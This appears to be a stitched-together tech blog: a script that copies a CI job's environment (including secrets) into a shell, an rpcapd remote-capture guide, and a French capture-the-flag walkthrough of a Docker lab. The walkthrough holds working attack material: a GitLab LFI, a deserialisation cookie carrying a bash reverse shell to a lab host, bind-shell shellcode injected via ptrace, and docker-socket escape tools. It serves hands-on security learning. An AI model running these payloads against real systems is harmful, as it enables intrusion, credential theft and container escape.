That’s what this small Python script does — it opens a shell with the exact same environment variables as the job process.

#!/usr/bin/env python3
import sys
import os

def main():
    if len(sys.argv) != 3:
        print(f"""
        Usage : env-from [pid of pipeline process] [command]
        Ex: env-from 29 /bin/bash
        """)
        exit(1)
    else:
        pid = sys.argv[1]
        command = sys.argv[2]
        proc_file = "/proc/{}/environ".format(pid)

    env = {}
    with open(proc_file,"r") as env_file:
        for envvar in env_file.read().split('\000'):
            if not envvar:
                continue
            name,value=envvar.split('=',1)
            env[name]=value
    env["TERM"] = "xterm-256color"
    os.execvpe(command, [command], env)
if __name__ == '__main__':
    main()

What it does

It reads /proc/<pid>/environ (where Linux stores all environment variables for a process) and then starts a new command — usually /bin/bash — using that same environment.

So when you run:

./env-from 1234 /bin/bash

You basically get a shell inside the same environment as the running job.
All variables (CI_, PATH, secrets, etc.) are there.

Why I use it

• To debug live GitLab jobs without restarting them.
• To see the real env used by the runner — not what I think it is.
• To test a command exactly like GitLab does, but interactively.

It’s super useful when something works locally but not in CI.

Example

1.Find the process ID of your job:

ps aux | grep my-job-script

2.Run the script:

sudo ./env-from 456 /bin/bash

3. You’re now “inside” the job.

You can check variables, try the same commands, etc.

A few notes

• You need permission to read /proc/<pid>/environ (root or same user).
• Inside containers, the PID might be different from the host one.
• It will show secrets — be careful.

TL;DR

This script is just a small hack, but it saves time.
Instead of guessing what the GitLab job sees, I can just see it.

That’s the whole idea — nothing fancy, just practical.

rpcapd

socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE) = 3   
bind(3, {sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, 12) = 0
getsockname(3, {sa_family=AF_NETLINK, nl_pid=3830233, nl_groups=00000000}, [12]) = 0 

socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(9998), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 10)
# after starting a clien we find 
pselect6(4, [3], NULL, NULL, NULL, NULL

) = 1 (in [3])
accept(3, {sa_family=AF_INET, sin_port=htons(44634), sin_addr=inet_addr("10.214.198.167")}, [128 => 16]) = 4 # Data port == 44634
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7b2bceafdb50) = 1796814
close(4)                                = 0
pselect6(4, [3], NULL, NULL, NULL, NULL) = ? ERESTARTNOHAND (To be restarted if no handler)

When rpcapd is started, the server initializes two sockets:
– a Netlink socket (AF_NETLINK) to query the kernel for available network interfaces
– a TCP socket (AF_INET, default port 9998) to listen for incoming client connections.

Once running, rpcapd waits for connections on this port. When a client (such as tcpdump using rpcap://) connects, the server accepts the connection, assigns a dynamic data port (here 44634) for the session, and then forks a child process to handle the capture.

The original socket continues listening for other incoming connections.

1. Clone and compile TCPDUMP with the correct libpcap

apt-get update
apt install -y libnl-3-dev libnl-genl-3-dev build-essential bison flex autoconf automake libtool
git clone https://github.com/the-tcpdump-group/libpcap.git 
cd libpcap 
./autogen.sh
./configure --enable-remote 
make 
make install

rpcapd is present in libpcap since version 1.9 or 1.10

Once you have the right libpcap built you can compile the tcpdump client

cd .. 
git clone https://github.com/the-tcpdump-group/tcpdump.git 
cd tcpdump 
./configure \   
CPPFLAGS="-I/usr/local/include" \   
LDFLAGS="-L/usr/local/lib" 
make 
make install

2. rpcapd container

Note: libpcap does not need to be compiled for a specific kernel.

It interacts with the kernel using standard system calls (e.g., PF_PACKET, BPF), so it can be built inside a container independently from the host, as long as:

1. The image matches the host architecture (e.g., amd64).
2. The container has access to the appropriate network interfaces.

FROM ubuntu:22.04 AS builder
ENV DEBIAN_FRONTEND=noninteractive
RUN apt update && apt install -y \
    git build-essential bison flex autoconf automake libtool \
    && git clone https://github.com/the-tcpdump-group/libpcap.git /libpcap \
    && cd /libpcap \
    && ./autogen.sh \
    && ./configure --enable-remote \
    && make \
    && make install

FROM ubuntu:22.04
COPY --from=builder /libpcap/rpcapd/rpcapd /usr/local/bin/rpcapd
ENTRYPOINT ["/usr/local/bin/rpcapd"]
CMD ["-n", "-b", "0.0.0.0", "-p", "9998", "-t", "9999"]

1. Clone and compile libpcap (including rpcapd) inside the Docker image.
2. Start rpcapd from within the container
3. Access to network interfaces is only possible if the container has the proper permissions (e.g., --cap-add=NET_ADMIN, --network=host, or --privileged, depending on the use case).

./tcpdump -nei rpcap://10.0.0.1:9998/eno1
(tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on rpcap://10.0.0.1:9998/eno1, link-type EN10MB (Ethernet), snapshot length 262144 bytes

16:49:10.081058 aa:bb:cc:dd:ee:01 > aa:bb:cc:dd:ee:02, ethertype IPv4 (0x0800), length 82:
10.0.0.1.9998 > 10.0.0.2.51168: Flags [P.], seq 1459515777:1459515793, ack 3078274901, win 509,
options [nop,nop,TS val 3771862344 ecr 1955610770], length 16

16:49:10.081761 aa:bb:cc:dd:ee:03 > aa:bb:cc:dd:ee:01, ethertype IPv4 (0x0800), length 74:
10.0.0.2.35738 > 10.0.0.1.46015: Flags [S], seq 1165126055, win 64240,
options [mss 1460,sackOK,TS val 1955610788 ecr 0,nop,wscale 7], length 0

16:49:10.081828 aa:bb:cc:dd:ee:01 > aa:bb:cc:dd:ee:02, ethertype IPv4 (0x0800), length 74:
10.0.0.1 > ...

Laboratory

Laboratory est un CTF orienté Docker. Il permet d’apprendre les bases sur le container breakout.

Reconnaissance

{13:44}/netsec/box/Laboratory ➭ nmap -sV -sC  192.168.1.19
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-25 13:44 CEST
Nmap scan report for lab (192.168.1.19)
Host is up (0.00039s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 62:71:bc:a8:96:62:46:f4:56:62:4e:60:b7:98:3b:18 (RSA)
|   256 d9:08:ab:a1:1b:b9:48:46:6c:75:ce:7b:9f:b6:8d:7a (ECDSA)
|_  256 74:27:1f:30:f5:1b:f0:98:d1:60:96:03:e1:c7:3f:14 (ED25519)
3128/tcp open  http-proxy Squid http proxy 4.6
|_http-server-header: squid/4.6
|_http-title: ERROR: The requested URL could not be retrieved
MAC Address: 00:0C:29:A6:69:6F (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.04 seconds

On remarque du Debian 10. Une version d’SSH sans CVE connue et un proxy Squid.

Squid

L’objectif est de trouver les différents domaine qui ont été requêtés via le Squid.
Soit on lance une énum sur les ports du localhost en passant par le proxy soit on cherche les domaines direct dans la configuration de Squid.

Dans notre cas les services tournent sur un réseau docker interne donc il faut aller chercher la configuration de Squid.
Heureusement celle-ci est accessible suite à une mauvaise configuration et un manque d’authentification.

Première Solution

{13:58}/netsec/box/Laboratory ➭ curl -x http://192.168.1.19:3128 http://192.168.1.19:3128/squid-internal-mgr/menu -I

HTTP/1.1 403 Forbidden
Server: squid/4.6
Mime-Version: 1.0
Date: Fri, 25 Jun 2021 11:58:31 GMT
Content-Type: text/html;charset=utf-8
Content-Length: 3669
X-Squid-Error: ERR_ACCESS_DENIED 0
Vary: Accept-Language
Content-Language: en
X-Cache: MISS from Lab
X-Cache-Lookup: MISS from Lab:3128
X-Cache: MISS from Lab
X-Cache-Lookup: MISS from Lab:3128
Via: 1.1 Lab (squid/4.6), 1.1 Lab (squid/4.6)
Connection: keep-alive

Lorsqu’on essaie de joindre notre Squid nous avons un 403. Pour joindre le cache manager il faut communiquer avec le hostname.

Le hostname est renseigné dans le nmap ou alors on peut le retrouver via la table ARP de notre kali :

{14:14}/netsec/box/Laboratory ➭ arp 192.168.1.19 
Adresse     TypeMap AdresseMat          Indicateurs           Iface
lab         ether   00:0c:29:a6:69:6f   C                     eth0

{14:10}/netsec/box/Laboratory ➭ nmap -R  192.168.1.19
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-25 14:10 CEST
Nmap scan report for lab (192.168.1.19)       
Host is up (0.00046s latency).
Not shown: 998 closed ports 
PORT     STATE SERVICE             
22/tcp   open  ssh
3128/tcp open  squid-http  
MAC Address: 00:0C:29:A6:69:6F (VMware)
          
Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds

Donc maintenant qu’on a le hostname on peut taper sur le Squid pour récupérer la liste des domaines accéssible depuis le proxy :

{14:17}/netsec/box/Laboratory ➭ curl -x http://192.168.1.19:3128 http://lab:3128/squid-internal-mgr/menu -I
HTTP/1.1 200 OK
Server: squid/4.6
Mime-Version: 1.0
Date: Fri, 25 Jun 2021 12:17:17 GMT
Content-Type: text/plain;charset=utf-8
Expires: Fri, 25 Jun 2021 12:17:17 GMT
Last-Modified: Fri, 25 Jun 2021 12:17:17 GMT
X-Cache: MISS from Lab
X-Cache-Lookup: MISS from Lab:3128
Via: 1.1 Lab (squid/4.6)
Connection: keep-alive

{14:18}/netsec/box/Laboratory ➭ curl -x http://192.168.1.19:3128 http://lab:3128/squid-internal-mgr/fqdncache
FQDN Cache Statistics:
FQDNcache Entries In Use: 8
FQDNcache Entries Cached: 8
FQDNcache Requests: 127
FQDNcache Hits: 105
FQDNcache Negative Hits: 0
FQDNcache Misses: 22
FQDN Cache Contents:

Address                                       Flg TTL Cnt Hostnames
127.0.1.1                                       H -001   2 lab.ctf lab
192.168.1.37                                      051   1 kali.home
::1                                             H -001   3 localhost ip6-localhost ip6-loopback
127.0.0.1                                       H -001   1 localhost
ff02::1                                         H -001   1 ip6-allnodes
ff02::2                                         H -001   1 ip6-allrouters
172.19.0.2                                      H -001   1 gitlab.laboratory.ctf

On peut voir qu’il y a une URL Gitlab accessible depuis le Squid.

Deuxième Solution
On peut passer par un squidclient directement, de cette manière il n’y a pas besoin du hostname et l’IP suffit :

squidclient -h 192.168.1.19 mgr:fqdncache

Gitlab

Version 12.8.1 LFI

Première étape est de se créer un compte sur le Gitlab.

Ensuite, il faut aller vérifier la version du Gitlab pour vérifier les différents exploits.

Certains exploit sont 100% automatisés mais voici un compte rendu de l’exploit utilisé : https://hackerone.com/reports/827052 (Bounty de 20 000$ versé par Gitlab)

Cette LFI nous permettra d’aller chercher le fichier secret.yml qui possède la clef privé de Gitlab.

Tout d’abord il faut créer 2 projets, ici sourceet dest:

Ensuite, dans un des projets il va falloir créer une issue :

Selon l’exploit, le déplacement des issues ne valide pas le nom des fichiers par une bonne Regex. Nous pouvons donc pousser un asbsolut path pour aller chercher n’importe quel fichier.

Nous allons donc déplacement l’issue fraîchement crée dans le second projet :

Nous retrouvons bien le fichier /etc/passwd dans l'issue déplacée :

Maintenant que nous avons identifié la vulnérabilité il va falloir l’utiliser pour monter une RCE sur le serveur Gitlab.

Exploit RCE

La RCE se fait donc via la LFI. Il faut télécharger de la même manière vu précédente le fichier : opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml

Après avoir télécharger le secret.yml de Gitlab :

{15:24}/netsec/box/Laboratory ➭ mv /home/allta/secrets.yml .                                                                                                    
{15:24}/netsec/box/Laboratory ➭ cat secrets.yml                     
# This file is managed by gitlab-ctl. Manual changes will be        
# erased! To change the contents below, edit /etc/gitlab/gitlab.rb  
# and run `sudo gitlab-ctl reconfigure`.                            
                                                                               
---                                                                 
production:                                                         
  db_key_base: ccf25bec2aeaf17fdf681091776a0c21fb742921a0cceda163fce14c1b65cb0012e9d3606dff28e4f8688083820590684beb0bf8c65c75cfde9b79dcd844490d
  secret_key_base: f96c6e7ac4e9a0292ecca26f716054b1e82263c07bd21b71ea9631262225bd67b1e27ac68ba94d49e5018e43e6fc2da278929f89299227f930cd902e8cae263d
  otp_key_base: 661110e2fc938ab305f28db2e038fc0467beb7a392211e27f711ede46e9233fb9736b3ba0ad216061dfc4f38513c6043abec3efaa66d6ce26093d83656719837
  openid_connect_signing_key: |
    -----BEGIN RSA PRIVATE KEY-----
    MIIJKgIBAAKCAgEAtaEEQoreuAdPPHl57wHFCbFIatfFlNp5fxtg9fUcfy4Pj3y6
    S2iCHOlr+Rw6NGKLLMOtSl9WqVf8uDP5UxAPdQa+tkfp2EJnJmsyY/2DLodoNdEk
    Z/DjZZ+zTg/6ZTBsSskeoaMp4KeZcVj+dxRQGuh0NZUcsBPHvEu/4HPhQsjGtJza
    WB68q+qgHCtikNIMos+5BkJQLbkKbw76lxkSu2adQutSvg9uK/g+gkujz6BZ6+Un

Creation du payload

Pour générer notre payload il va falloir le créer à l’aide de la clef privée récupéré via la LFI. Pour cela il faut monter un gitlab de même version et y remplacer la clef générée par celle récupérée. Le meilleur moyen de monter un Gitlab rapidement et avec la bonne version est via Docker.

{15:24}/netsec/box/Laboratory ➭ docker pull gitlab/gitlab-ce:12.8.1-ce.0
12.8.1-ce.0: Pulling from gitlab/gitlab-ce
fe703b657a32: Pull complete 
f9df1fafd224: Pull complete 
a645a4b887f9: Pull complete 
57db7fe0b522: Pull complete 
7c1fdc95f4c9: Pull complete 
efff5e3fbef4: Pull complete 
cd352b2b7d4b: Pull complete 
9cfdfa991813: Pull complete 
27f887c2ede5: Pull complete 
68b87e2fd6a0: Pull complete 
Digest: sha256:01325161649a28155d8857e4f47462d2bf9406d612c11b8929d2482bfba3ad32
Status: Downloaded newer image for gitlab/gitlab-ce:12.8.1-ce.0
docker.io/gitlab/gitlab-ce:12.8.1-ce.0

{15:24}/netsec/box/Laboratory ➭ docker run --rm -d 719e7e45b1e2
8d3027edf640a3849d9c127ca512809736d498de5c8895379013bda26b1385b1
{15:24}/netsec/box/Laboratory ➭ docker ps -a
CONTAINER ID   IMAGE          COMMAND             CREATED         STATUS                            PORTS                     NAMES
8d3027edf640   719e7e45b1e2   "/assets/wrapper"   3 seconds ago   Up 2 seconds (health: starting)   22/tcp, 80/tcp, 443/tcp   heuristic_leavitt
{15:24}/netsec/box/Laboratory ➭ docker exec -ti 8d3 bash
root@8d3027edf640:/# 

On remplace la secret_key_base de /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml dans le même fichier dans le container Gitlab. Pensez bien à restart les services gitlab et ouvrir un listener : nc -lvnp 9999

root@8d3027edf640:/# gitlab-ctl restart
root@8d3027edf640:/# gitlab-rails console

request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar

erb = ERB.new("<%= `bash -c 'bash -i >& /dev/tcp/192.168.1.37/9999 0>&1'` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]

Une fois le cookie crée :

curl -k -x http://192.168.1.39:3128 'http://gitlab.laboratory.ctf/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiYiNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBlY2hvIHZha3p6IHdhcyBoZXJlID4gL3RtcC92YWt6emAgKS50b19zKTsgX2VyYm91dAY6BkVGOg5AZW5jb2RpbmdJdToNRW5jb2RpbmcKVVRGLTgGOwpGOhNAZnJvemVuX3N0cmluZzA6DkBmaWxlbmFtZTA6DEBsaW5lbm9pADoMQG1ldGhvZDoLcmVzdWx0OhBAZGVwcmVjYXRvckl1Oh9BY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbgAGOwpUOglAdmFySSIMQHJlc3VsdAY7ClQ=--ef9c244a1f6b4724c1d3cbf045f8ee28a42d4b06"

Nous avons donc un shell en tant que gitsur le container gitlab. Pour vérifier que nous sommes dans un container, on peut vérifier les cgroups du premier processus ou de self.

Deuxième solution pour le RCE Il existe un script qui automatise toute la partie vue ci-dessus : https://github.com/dotPY-hax/gitlab_RCE Il est nécéssaire de le modifier pour aller taper sur le Squid et désactiver la vérification de certificat SSL auto-signé.

{15:33}/netsec/box/Laboratory ➭ python3 gitlab_rce.py https://gitlab.laboratory.ctf 192.168.1.37
Gitlab Exploit by dotPY [insert fancy ascii art]
registering auy1SeqvF6:04mD45pYMk - 200
Getting version of https://gitlab.laboratory.ctf - 200
The Version seems to be 12.8.1! Choose wisely
delete user auy1SeqvF6 - 200
[0] - GitlabRCE1147 - RCE for Version <=11.4.7
[1] - GitlabRCE1281LFIUser - LFI for version 10.4-12.8.1 and maybe more
[2] - GitlabRCE1281RCE - RCE for version 12.4.0-12.8.1 - !!RUBY REVERSE SHELL IS VERY UNRELIABLE!! WIP
type a number and hit enter to choose exploit: 2
Start a listener on port 42069 and hit enter (nc -vlnp 42069)
registering ILMgLy6G55:ZsBDvY8C9k - 200
creating project soOIauiULL - 200
creating project 3VzymEcL6y - 200
creating issue ZRzosgObR2 for project soOIauiULL - 200
moving issue from soOIauiULL to 3VzymEcL6y - 200
Grabbing file secrets.yml
deploying payload - 500
delete user ILMgLy6G55 - 200

On confirme que le Gitlab tourne dans un container Docker :

git@gitlab:/$ cat /proc/self/cgroup 
13:rdma:/
12:pids:/docker/7da00bd74e4f73c8caf99406e163083a6489c90451dd09883390a551fd2696cb
11:hugetlb:/docker/7da00bd74e4f73c8caf99406e163083a6489c90451dd09883390a551fd2696cb
10:net_prio:/docker/7da00bd74e4f73c8caf99406e163083a6489c90451dd09883390a551fd2696cb
9:perf_event:/docker/7da00bd74e4f73c8caf99406e163083a6489c90451dd09883390a551fd2696cb
8:net_cls:/docker/7da00bd74e4f73c8caf99406e163083a6489c90451dd09883390a551fd2696cb
7:freezer:/docker/7da00bd74e4f73c8caf99406e163083a6489c90451dd09883390a551fd2696cb
6:devices:/docker/7da00bd74e4f73c8caf99406e163083a6489c90451dd09883390a551fd2696cb
5:memory:/docker/7da00bd74e4f73c8caf99406e163083a6489c90451dd09883390a551fd2696cb
4:blkio:/docker/7da00bd74e4f73c8caf99406e163083a6489c90451dd09883390a551fd2696cb
3:cpuacct:/docker/7da00bd74e4f73c8caf99406e163083a6489c90451dd09883390a551fd2696cb
2:cpu:/docker/7da00bd74e4f73c8caf99406e163083a6489c90451dd09883390a551fd2696cb
1:cpuset:/docker/7da00bd74e4f73c8caf99406e163083a6489c90451dd09883390a551fd2696cb
0::/

Devenir administrateur du gitlab

Maintenant que nous avons accès à la console gitlab nous pouvons donner les droits d’administrateur à notre user gitlab gitlab console CheatSheet

git@gitlab:/$ gitlab-rails console

irb(main):013:0> u=User.find_by_username('allta')                                                                                                               
=> #<User id:36 @allta>  
irb(main):014:0> pp u.attributes
{"id"=>36,         
 "email"=>"allta@rocks.al",  
 "encrypted_password"=>
  "$2a$10$9ZDZTCE0QjJArIL8WoIHBulQyqzad7Iv/TN5LvbkwCxgUbLeCPRAG",
 "reset_password_token"=>nil,       
 "reset_password_sent_at"=>nil,
 "remember_created_at"=>nil,                         
 "sign_in_count"=>2, 
 "current_sign_in_at"=>Tue, 29 Jun 2021 14:43:31 UTC +00:00,
 "last_sign_in_at"=>Thu, 24 Jun 2021 21:32:06 UTC +00:00,
 "current_sign_in_ip"=>"172.19.0.1",
 "last_sign_in_ip"=>"172.19.0.1",
 "created_at"=>Thu, 24 Jun 2021 21:32:06 UTC +00:00,
 "updated_at"=>Tue, 29 Jun 2021 14:43:31 UTC +00:00,
 "name"=>"allta",           
 "admin"=>false,    
 
irb(main):020:0> u.admin=true
=> true     
irb(main):021:0> u.save!
=> true

User Dexter

Maintenant que nous sommes admin sur le gitlab nous avons accès à la partie Administration ainsi que tout les projets.

Cliquez sur Projects:

Et naviguez jusqu’au projet de Dexter :

On se rajoute en tant que Maintenairsur le projet pour pouvoir accéder et lire les fichiers :

Dans le projet de Dexter on trouve une clef privée :

On peut ainsi se connecter en tant que Dextersur la box en utilisant la clef SSH :

{17:02}/netsec/Laboratoire/Laboratory:master ✗ ➭ ssh -i id_rsa dexter@192.168.1.19

Container Lateral Escape

On peut voir que le container dns_proxy_server est paramétré pour partager son PID Namespace avec le container gitlab. Les processus des 2 containers sont donc visibles par l'un ou l'autre.

dexter@Lab:/opt$ cat dps/docker-compose.yml 
version: '3'
services:
    dps:
      image: dns_proxy_server
      environment:
        - MG_REGISTER_CONTAINER_NAMES=1
      volumes:
        - /var/run/docker.sock:/var/run/docker.sock
      pid: container:gitlab
      command: "/app/dns-proxy-server"
      networks:
        - dps
networks:
  dps:
    external: true



dexter@Lab:/opt$ cat gitlab/docker-compose.yml
version: '3'
services:
  web:
    image: 'gitlab/gitlab-ce:12.8.1-ce.0'
    container_name: 'gitlab'
    restart: always
    hostname: 'gitlab.laboratory.ctf'
    #pid: 'host'
    environment:
      GITLAB_ROOT_PASSWORD: 'D3x!sTh€B3st'
     #GITLAB_OMNIBUS_CONFIG: |
              #external_url 'https://gitlab.laboratory.com'
              #letsencypt['enable] = false
        #  ports:
        #    - '80:80'
        #    - '443:443'
    volumes:
      - './config:/etc/gitlab'
      - './logs:/var/log/gitlab'
      - './data:/var/opt/gitlab'
      - './gitlab.crt:/etc/gitlab/ssl/gitlab.laboratory.ctf.crt:'
      - './gitlab.key:/etc/gitlab/ssl/gitlab.laboratory.ctf.key:'
    cap_add:
     - cap_sys_ptrace
    networks:
     - dps
networks:
  dps:
    external: true

On voit des creds pour root dans le gitlab :

git@gitlab:/$ env | grep -i "root"
GITLAB_ROOT_PASSWORD: 'D3x!sTh€B3st'
git@gitlab:/$ su - 
Password:
root@gitlab:/"

On peut aussi voir dans le docker-compose du container dps la commande lancée lors du démarrage du container :

root@gitlab:/# ps aux | grep "/[a]pp/"
root       1801  0.0  0.2 627820  4064 ?        Ssl  07:03   0:00 /app/dns-proxy-server /app/dns-proxy-server

Voici les différents namespaces du container gitlab et du container dps:

root@gitlab:/# ll /proc/self/ns/
total 0
dr-x--x--x 2 root root 0 Jun 28 08:08 ./
dr-xr-xr-x 9 root root 0 Jun 28 08:08 ../
lrwxrwxrwx 1 root root 0 Jun 28 08:08 cgroup -> cgroup:[4026531835]
lrwxrwxrwx 1 root root 0 Jun 28 08:08 ipc -> ipc:[4026532554]
lrwxrwxrwx 1 root root 0 Jun 28 08:08 mnt -> mnt:[4026532552]
lrwxrwxrwx 1 root root 0 Jun 28 08:08 net -> net:[4026532556]
lrwxrwxrwx 1 root root 0 Jun 28 08:08 pid -> pid:[4026531836]
lrwxrwxrwx 1 root root 0 Jun 28 08:08 pid_for_children -> pid:[4026531836]
lrwxrwxrwx 1 root root 0 Jun 28 08:08 user -> user:[4026531837]
lrwxrwxrwx 1 root root 0 Jun 28 08:08 uts -> uts:[4026532553]

root@gitlab:/# ll /proc/1801/ns
total 0
dr-x--x--x 2 root root 0 Jun 28 08:09 ./
dr-xr-xr-x 9 root root 0 Jun 28 07:45 ../
lrwxrwxrwx 1 root root 0 Jun 28 08:09 cgroup -> cgroup:[4026531835]
lrwxrwxrwx 1 root root 0 Jun 28 08:09 ipc -> ipc:[4026532616]
lrwxrwxrwx 1 root root 0 Jun 28 08:09 mnt -> mnt:[4026532614]
lrwxrwxrwx 1 root root 0 Jun 28 08:09 net -> net:[4026532618]
lrwxrwxrwx 1 root root 0 Jun 28 08:09 pid -> pid:[4026531836]
lrwxrwxrwx 1 root root 0 Jun 28 08:09 pid_for_children -> pid:[4026531836]
lrwxrwxrwx 1 root root 0 Jun 28 08:09 user -> user:[4026531837]
lrwxrwxrwx 1 root root 0 Jun 28 08:09 uts -> uts:[4026532615]

On peut voir qu’en plus de partager le namespace PID ils partagent aussi le namespace users. Ce qui veut dire que root sur container gitlab sera aussi root sur le container dps.

Le docker-compose de gitlab nous montre une capabilities qui n’est pas par défaut lors de la création d’un container : ptrace.

Ceci est confirmé dans le container :

root@gitlab:/tmp# capsh --print | grep ptrace
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+eip
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap

La combinaison de ces 2 mauvaises pratiques/configuration va nous permettre de réaliser une injection de code au sein d’un processus.

Voici un article sur l’injection de code dans un process running : https://0x00sec.org/t/linux-infecting-running-processes/1097 qui explique et propose un POC.

Ce qu’il faut retenir c’est que tout les programmes de debug utilisent la capabilitie ptrace. Cette dernière permet de s'attacher à un process et de le modifier.

Exploit Process Injection

root@gitlab:/dev/shm# wget https://raw.githubusercontent.com/0x00pf/0x00sec_code/master/mem_inject/infect.c

On remplace dans l’exploit le shellcode pour y mettre un bind sur le port 5600 (Comme ça on maitrise le paramètre du Reverse Shell dans l’exploit)

ShellCode : https://www.exploit-db.com/exploits/41128

Il faut remplacer dans l’exploit infect.c :

#define SHELLCODE_SIZE 32

unsigned char *shellcode =
  "\x48\x31\xc0\x48\x89\xc2\x48\x89"
  "\xc6\x48\x8d\x3d\x04\x00\x00\x00"
  "\x04\x3b\x0f\x05\x2f\x62\x69\x6e"
  "\x2f\x73\x68\x00\xcc\x90\x90\x90";

par

#define SHELLCODE_SIZE 87

unsigned char *shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05";

apt update && apt install gcc
root@gitlab:/dev/shm# gcc infect.c -o /tmp/infect
root@gitlab:/tmp# ./infect 
Usage:
        ./infect pid

root@gitlab:/tmp# ./infect 1801
+ Tracing process 1801
+ Waiting for process...
+ Getting Registers
+ Injecting shell code at 0x45c7e0
+ Setting instruction pointer to 0x45c7e2
+ Run it!

Le processus a bien été infecté par l’exploit. Le code malveillant ajouté au processus permet de spawn un Revershell sur le port 5600. Il faut maintenant trouver l’ip du container dps.

Le container gitlab sur lequel on se trouve actuellement et le container dps sont sur le même network docker comme vu dans leur docker-compose. Notre user dexter n'a pas la permission de lancer de commande docker. Il va falloir trouver l'ip manuellement à partir du container.

root@gitlab:/tmp# hostname -i
172.19.0.2

On part du principe que le container dps sera en 172.19.0.3 Pour se connecter à ce container on utilise netcat (qu'il faut installer comme gcc).

root@gitlab:/tmp# nc 172.19.0.3 5600
id
uid=0(root) gid=0(root) groups=0(root)
python3 -c 'import pty; pty.spawn("/bin/bash")'
root@448e6b22790a:/app# 

Une fois root sur le container dps il va falloir s'échapper de ce container pour arriver root sur l'host.

Container Breakout

Lors de l’énumération avec le compte dexter on a pu avoir accès en lecture sur les docker-compose. On s'est rendu compte que le socket docker était exposé dans le container dps. Ce partage de socket est une vulnérabilité et ne dois absolument pas être fait ou alors dans des conditions bien précises .

Nous allons l’utilisé pour passer accéder au FS entier de l’host.

On peut faire ça à la main ou alors utiliser deepce. DeepCE est un script d’énumération docker (Comme un Linpeas/LinEnum).

Pensez à installer curl pour exploiter le socket docker.

On ne pourr pas monter de Reverse Shell sur notre Kali car les container n’ont pas d’accès direct au LAN.

root@448e6b22790a:/app# ./deepce.sh                                                                                                                                                    [18/18]

                      ##         .                                                             
                ## ## ##        ==                                                             
             ## ## ## ##       ===           
         /"""""""""""""""""\___/ ===                                                           
    ~~~ {~~ ~~~~ ~~~ ~~~~ ~~~ ~ /  ===- ~~~
         \______ X           __/ 
           \    \         __/
            \____\_______/
          __
     ____/ /__  ___  ____  ________                                                            
    / __  / _ \/ _ \/ __ \/ ___/ _ \   ENUMERATE               
   / /_/ /  __/  __/ /_/ / (__/  __/  ESCALATE
   \__,_/\___/\___/ .___/\___/\___/  ESCAPE
                 /_/                                                                           
                                               
 Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE)
 by stealthcopter                 
                                               
==========================================( Colors )==========================================
[+] Exploit Test ............ Exploitable - Check this out
[+] Basic Test .............. Positive Result
[+] Another Test ............ Error running check        
[+] Negative Test ........... No 
[+] Multi line test ......... Yes                              

===================================( Enumerating Platform )===================================                                                                                                [+] Inside Container ........ Yes
[+] Container Platform ...... docker                                                           
[+] Container tools ......... None
[+] User .................... root
[+] Groups .................. root                                                             
[+] Docker Executable ....... Not Found
[+] Docker Sock ............. Yes                                                              
srw-rw---- 1 root 998 0 Jun 28 07:00 /var/run/docker.sock
[+] Sock is writable ........ Yes                                                              
The docker sock is writable, we should be able to enumerate docker, create containers 
and obtain root privs on the host machine
See https://stealthcopter.github.io/deepce/guides/docker-sock.md      

DeepCE nous a montré qu’un SOCKET été en lecture/écriture. Nous allons utiliser Break out the Box pour sortir du container.

Go étant un peu lourd à installer nous allons passer par la release direct : https://github.com/brompwnie/botb/releases

root@448e6b22790a:/tmp# ./botb-linux-amd64 -autopwn                                                                                                                                      [6/6]
[+] Break Out The Box                                                                                                                                                                         
[+] Attempting to autopwn                                                                      
[+] Hunting Docker Socks
[+] Attempting to autopwn:  /run/docker.sock                                                                                                                                                  
[+] Attempting to escape to host...                                                                                                                                                           
[+] Attempting in TTY Mode

